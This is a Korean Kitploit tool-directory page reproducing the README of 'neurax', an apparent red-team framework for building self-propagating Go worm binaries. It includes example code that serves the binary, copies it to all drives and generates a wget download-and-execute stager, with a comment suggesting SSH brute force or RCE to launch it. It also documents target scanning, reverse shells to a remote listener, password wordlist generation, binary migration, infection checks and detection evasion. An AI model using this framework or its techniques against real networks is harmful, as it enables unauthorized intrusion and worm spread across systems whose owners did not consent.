Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
neurax — 자기 전파 바이너리를 구축하기 위한 프레임워크 | Kitploit
도구/GitHubGitHub/redcode-labs/neurax
ReconnaissancePassword AttacksPayload GenerationPersistence MechanismsExploitationLateral MovementPost-ExploitationMalware AnalysisCommand and ControlRed Teaming
GitHubredcode-labs/neurax

neurax

1.0k1012년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

자기 전파 바이너리를 구축하기 위한 프레임워크

저장소 보기



Neurax



자가 확산 소프트웨어 생성을 돕는 프레임워크



개요

Neurax를 사용하면 Golang 바이너리가 외부 서버 없이 LAN/WAN에서 확산될 수 있습니다.

다양한 구성 옵션과 명령 스테이저는 다양한 무선 환경에서 빠른 확산을 가능하게 합니다.

예제 코드

root@kitploit:~
package main
import . "github.com/redcode-labs/Neurax"

func main(){

  //Specify serving port and stager to use
  Nrx.Config.Port = 5555
  Nrx.Config.Stager = "wget"

  //Start a server that exposes the current binary in the background
  go NeuraxServer()
 
  //Copy current binary to all logical drives
  NeuraxDisks()

  //Create a command stager that should be launched on target machine
  //It will download, decode and execute the binary
  cmd_stager := NeuraxStager()

  /* Now you have to somehow execute the command generated above.
     You can use SSH bruteforce, some RCE or whatever else you want ;> */

}



v. 2.X 신규 기능 (별도 하위 프로젝트)

  • 리팩터링: 프레임워크 방식에서 바로 사용 가능한 바이너리로 전환
  • 모든 UNIX 대상을 위한 일반 wget 스테이저
  • 웜의 동작을 즉시 조정할 수 있는 단일 구성 파일
  • unlinkat(2)를 통한 자동 자체 제거
  • 네트워크 확산 기능을 보완하는 예시 LinuxKI CVE 익스플로잇
  • JSON 구성 파일을 다운로드하여 평가
  • 호스트 수집기의 최소화된 재작성

v. 2.5 신규 기능

  • 두 번째 단계 바이너리의 선택적 백그라운드 실행 (N.StagerBg)
  • 명령 스테이저가 컨텍스트 로컬 경로에 저장 및 실행
  • 또한 성공적인 실행 직후 다운로드한 바이너리를 제거
  • 속도/안정성 문제로 동기화된 명령 실행 메커니즘 제거. 다음 릴리스 전에 적절한 대안을 마련하겠습니다.
  • 호스트가 이미 감염되었는지 확인 비활성화 (N.NoInfectCheck)
  • NeuraxServer() 내부에 배치된 독점 파일 뮤텍스로 강제되는 대상 머신에서의 단일 실행 정책
  • 바이너리 제공을 위한 중첩 고루틴 추가
  • Linux용 새 httrack 스테이저
  • 탐지 회피를 위한 주석 처리된 일반 단어 목록
  • 명령 스테이저가 바이너리 제거 전에 대기 가능 (N.StagerRemovalDelay)

v. 2.0 신규 기능

  • 새로운 단어 목록 변형 및 국가별 일반 비밀번호
  • 즉석 수동 스캐닝
  • 활성 스캔을 약간 더 빠르게 만드는 .FastScan 옵션
  • 단어 목록이 엄격히 메모리 내에서 생성됨
  • NeuraxScan()이 채널 대신 콜백 함수를 인수로 받음
  • NeuraxScan()이 전체 서브넷/대상 풀의 각 스캔 사이에 간격을 설정할 수 있는 무한 루프로 스캔
  • IP 형식이 아닌 대상에 대한 역방향 DNS 조회
  • ARP 캐시에서 대상 후보 추출
  • 선택된 대상 목록만 스캔 가능 + 특정 대상(기본 게이트웨이 등) 우선 순위 지정 가능
  • 수동 네트워크 스캔 사용 시 인터페이스 및 타임아웃 지정 가능
  • 개선된 명령 스테이저 (선택적으로 상승된 권한 / 여러 번 실행 가능)
  • 몇 가지 옵션 이름 변경
  • NeuraxConfig.이 N.으로 변경됨 (입력이 더 짧으므로)
  • 무작위 메모리 할당 + 바이너리 마이그레이션 함수
  • 여러 스테이저 연결 가능 (예: wget + curl)
  • 생성된 단어 목록의 양과 복잡성을 쉽게 조정 가능 (.WordlistExpand 등 옵션 사용)
  • 생성된 바이너리의 TTL(Time-to-Live) 설정 가능

구성 항목 목록

새 대상 찾기

NeuraxScan(func(string)) 함수는 로컬 네트워크에서 활성 호스트를 감지할 수 있게 합니다. 유일한 인수는 모든 활성 호스트에 대해 백그라운드에서 호출되는 콜백 함수입니다. 호스트는 최소 1개의 열린 포트가 있고, 이미 감염되지 않았으며, N. 내에 지정된 조건을 충족할 때 활성으로 간주됩니다.

NeuraxScan()은 무한 루프로 실행됩니다. .Cidr 구성 항목으로 지정된 전체 서브넷을 스캔하고, 모든 호스트가 스캔되면 .ScanInterval에 지정된 간격만큼 sleep합니다.

디스크 감염

Neurax 바이너리는 무선 수단을 사용하여 자체를 복사할 필요가 없습니다. NeuraxDisks() 함수는 현재 바이너리(의심스럽지 않은 이름으로)를 발견된 모든 논리 드라이브에 복사합니다. 복사된 바이너리는 실행되지 않고, 단지 실행되기를 기다리며 대상에 상주합니다. NeuraxDisks()는 디스크 목록을 가져올 수 없거나 대상에 복사가 불가능한 경우 error를 반환합니다.

또 다른 함수인 NeuraxZIP(num_files int) err는 현재 바이너리를 포함하는 무작위 이름의 .zip 아카이브를 생성할 수 있습니다. 현재 디렉토리에 저장되며, 최대 num_files개의 무작위 파일을 포함합니다.

NeuraxZIPSelf()는 단순히 현재 바이너리를 압축하여 동일한 이름의 아카이브를 생성합니다.

리버스 연결

NeuraxReverse()로 대화형 리버스 셸을 설정할 수 있습니다. 이 함수는 .ReverseListener 내에 "<host>:<port>" 형식으로 지정된 호스트 이름에서 명령을 수신합니다. 사용되는 프로토콜은 .ReverseProto에 정의됩니다. NeuraxOpenComm()이 이 함수 호출 전에 시작된 경우, 각 명령은 위 섹션에서 설명한 대로 동작합니다. 그렇지 않은 경우 명령이 로컬에서 실행됩니다.

참고: 이 함수는 수신에 사용되는 무한 루프로 인한 차단을 방지하기 위해 고루틴으로 실행되어야 합니다.

정리

노드가 "purge" 명령을 수신하면, 이 명령을 다른 모든 노드에 재전송하고, 호스트에서 자체를 제거한 후 종료합니다. 이 동작은 소스 내 어딘가에서 NeuraxPurge()를 실행하여 시작할 수도 있습니다.

단어 목록 생성

선택한 확산 벡터가 어떤 형태의 무차별 대입을 기반으로 하는 경우, 적절한 단어 목록을 준비하는 것이 좋습니다. 클라이언트 측에서 텍스트 파일에 단어를 저장하는 것은 효율적이지 않으므로, NeuraxWordlist(...words) []string을 사용하여 기본 단어 목록을 변형할 수 있습니다. 주어진 단어 집합을 순열하려면 NeuraxWordlistPermute(..words) []string을 사용하십시오.

TTL(Time-to-Live) 설정

바이너리가 지정된 시간 후에 자체를 제거하도록 하려면 코드 시작 부분에 NeuraxSetTTL()을 사용하십시오. 이 함수는 고루틴으로 실행되어야 합니다. 예:

go NeuraxSetTTL("2m")

는 초기 실행 후 2분 후에 NeuraxPurgeSelf()를 실행하도록 합니다.

여러 스테이저 동시 사용

주어진 플랫폼에서 사용 가능한 모든 스테이저를 연결하려면 .Stager를 "chain"으로 설정하십시오.

드롭된 바이너리 이동

초기 실행 후 바이너리를 복사해야 하는 경우 NeuraxMigrate(path string)을 사용하십시오. 이 함수는 바이너리를 path 아래에 복사하고, 현재 바이너리를 제거한 후 새로 마이그레이션된 바이너리를 실행합니다.

이 도구 지원하기

이 프로젝트가 마음에 들고 성장하는 모습을 보고 싶으시다면, 작은 기부를 고려해 주세요 :>

>>>>> 기부하기 <<<<<

라이선스

이 소프트웨어는 MIT 라이선스를 따릅니다.

도구 다운로드
이름설명기본값
Nrx.Config.Stager사용할 명령 스테이저의 이름무작위, 플랫폼 호환
Nrx.Config.StagerSudotrue인 경우 Linux cmd 스테이저가 상승된 권한으로 실행됨false
Nrx.Config.StagerRetry명령 스테이저를 재실행할 횟수0
Nrx.Config.StagerRemoveDelay다운로드한 바이너리를 제거하기 전에 Sleep 명령 적용true
Nrx.Config.Port서빙할 포트6741
Nrx.Config.Platform대상 플랫폼자동 감지
Nrx.Config.Path호스트에 바이너리가 저장되는 경로.
Nrx.Config.FileName다운로드한 바이너리가 제공 및 저장될 이름무작위
Nrx.Config.Base64전송된 바이너리를 base64로 인코딩false
Nrx.Config.CommPort바이너리가 서로 통신하는 데 사용하는 포트7777
Nrx.Config.CommProto노드 간 통신 프로토콜"udp"
Nrx.Config.ReverseListener원격 리버스 셸 핸들러의 "<host>:<port>" 포함지정되지 않음
Nrx.Config.ReverseProto리버스 연결에 사용할 프로토콜"udp"
Nrx.Config.ScanRequiredPortNeuraxScan()은 특정 포트가 열려 있는 경우에만 호스트를 활성으로 간주없음
Nrx.Config.ScanPassiveNeuraxScan()이 수동 ARP 트래픽 모니터링을 사용하여 호스트 감지false
Nrx.Config.ScanPassiveTimeoutNeuraxScan()이 ARP 계층을 모니터링하는 시간(초)50초
Nrx.Config.ScanPassiveIface수동 스캔 시 사용할 인터페이스기본
Nrx.Config.ScanActiveTimeoutNeuraxScan()이 각 스레드에서 스캔된 포트의 타임아웃 값(초)2초
Nrx.Config.ScanPassiveAllNeuraxScan()이 발견된 모든 장치에서 패킷 캡처false
Nrx.Config.ScanPassiveNoArp수동 스캔이 엄격한 ARP 캡처 필터를 설정하지 않음false
Nrx.Config.ScanFirst먼저 스캔할 IP 주소를 포함하는 슬라이스[]string{}
Nrx.Config.ScanFirstOnlyNeuraxScan()이 .ScanFirst에 지정된 호스트만 스캔false
Nrx.Config.ScanArpCacheNeuraxScan()이 로컬 ARP 캐시에서 발견된 호스트를 먼저 스캔. 활성 스캔에서만 작동false
Nrx.Config.ScanCidrNeuraxScan()이 이 CIDR을 스캔로컬 IP + "\24"
Nrx.Config.ScanActiveThreadsNeuraxScan()에 사용할 스레드 수10
Nrx.Config.ScanFullRangeNeuraxScan()이 대상 호스트의 모든 포트를 스캔하여 활성 여부 확인19~300
Nrx.Config.ScanInterval전체 서브넷 스캔 후 대기할 시간 간격"2m"
Nrx.Config.ScanHostInterval활성 모드에서 다음 호스트 스캔 전 대기 시간 간격"없음"
Nrx.Config.ScanGatewayFirst활성 스캔 사용 시 게이트웨이가 가장 먼저 스캔됨false
Nrx.Config.Verbosetrue인 경우 모든 오류 메시지가 STDOUT에 출력됨false
Nrx.Config.Remove오류 발생 시 바이너리가 호스트에서 자체 제거false
Nrx.Config.PreventReexectrue인 경우 이전에 수신된 명령과 일치하는 명령이 실행되지 않음true
Nrx.Config.WordlistExpandNeuraxWordlist()가 입력 단어에 비표준 변환 수행false
Nrx.Config.WordlistCommon단어 목록 앞에 가장 흔한 비밀번호 20개 추가false
Nrx.Config.WordlistCommonNum사용할 일반 비밀번호 개수모두
Nrx.Config.WordlistCommonCountries국가 코드와 사용할 비밀번호 수를 포함하는 map[string]intmap[string]int
Nrx.Config.WordlistMutators.WordlistExpand 지정 시 사용할 변형기{"single_upper", "cyryllic", "encapsule"}
Nrx.Config.WordlistPermuteNumNeuraxWordlistPermute()에서 생성하는 순열의 최대 길이2
Nrx.Config.WordlistPermuteSeparator순열에 사용할 구분 문자"-"
Nrx.Config.WordlistShuffle생성된 단어 목록 반환 전 섞기false
Nrx.Config.AllocNum이 항목은 NeuraxAlloc()이 무작위 메모리를 할당하는 횟수를 정의5
Nrx.Config.Blacklist모든 유형의 스캔에서 제외되는 IP 주소를 포함하는 슬라이스[]string{}
Nrx.Config.FastHTTPIsHostInfected()의 HTTP 요청이 fasthttp 라이브러리를 사용하여 수행됨false
Nrx.Config.Debug디버그 메시지 활성화false
Nrx.Config.NoInfectCheck호스트가 이미 감염되었는지 확인 비활성화true